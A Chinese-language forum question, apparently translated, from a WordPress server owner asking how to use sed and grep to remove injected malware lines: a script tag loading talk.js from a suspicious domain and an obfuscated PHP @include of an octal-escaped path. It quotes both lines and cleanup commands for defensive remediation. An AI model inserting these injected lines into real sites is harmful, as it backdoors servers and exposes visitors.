7
如何使用sed或可能的grep替换整个字符串
因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中 <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 我确实使用grep通过grep搜索 grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 我正在尝试将其替换为整个文件结构,sed并编写了以下命令。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php 我想先替换单个文件上的字符串index.php,所以我知道它可以工作。 而且我知道我的代码是错误的。请帮我解决一下这个。 我尝试使用@Eran的代码,它删除了整行,这很好,符合预期。但是,总的行话是这个 /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ 在删除所有内容的同时,我希望保留php开头标签<?php。 尽管@slybloty的解决方案很简单并且有效。 以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -删除脚本行 find . -type f -name …